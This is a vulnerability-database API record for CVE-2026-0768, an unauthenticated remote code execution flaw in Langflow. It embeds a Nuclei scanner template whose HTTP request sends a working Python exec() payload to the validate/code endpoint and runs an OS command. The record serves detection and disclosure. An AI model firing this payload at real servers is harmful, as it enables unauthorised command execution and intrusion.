{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-0768/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-0768/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-0768/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-0768/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-0768/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-0768"},"sightings":{"href":"/api/v1/sightings/cve-2026-0768"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.07775,"kev":false,"percentile":0.94385},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-0768.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-0768\n\ninfo:\n  name: Langflow <=1.2.x - Unauthenticated Remote Code Execution via validate_code\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Langflow <= 1.2.x exposes POST /api/v1/validate/code without any authentication. The endpoint calls validate_code() which exec()s user-supplied Python code. Default-argument expressions in Python execute at function-definition time, allowing arbitrary OS command execution without authentication.\n  impact: |\n    An unauthenticated attacker can execute arbitrary OS commands on the server running Langflow.\n  remediation: |\n    Upgrade Langflow to a version that requires authentication on the validate/code endpoint.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-0768\n    - https://www.pruva.dev/reproductions/REPRO-2026-00342\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-0768\n    epss-score: 0.07775\n    epss-percentile: 0.94385\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: langflow-ai\n    product: langflow\n  tags: cve,cve2026,langflow,rce,code-injection,unauth,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/validate/code HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"code\": \"def exploit(cd=exec('raise Exception(__import__(\\\"subprocess\\\").check_output(\\\"id\\\", shell=True))')): pass\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"uid=\", \"gid=\", \"function\")'\n          - 'status_code == 200'\n        condition: and\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - '(uid=[0-9]+\\([a-z_]+\\)[^ ]*)'\n# digest: 4a0a00473045022100e67868934203d2c7f257dc5321ab9b62480b1ed1d9907261750e8e8afbf98a6e02203359d45e8194d1cb6ae18ac1bd89529fb6c4c48e9ee98be73647c493944d0314:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-0768"}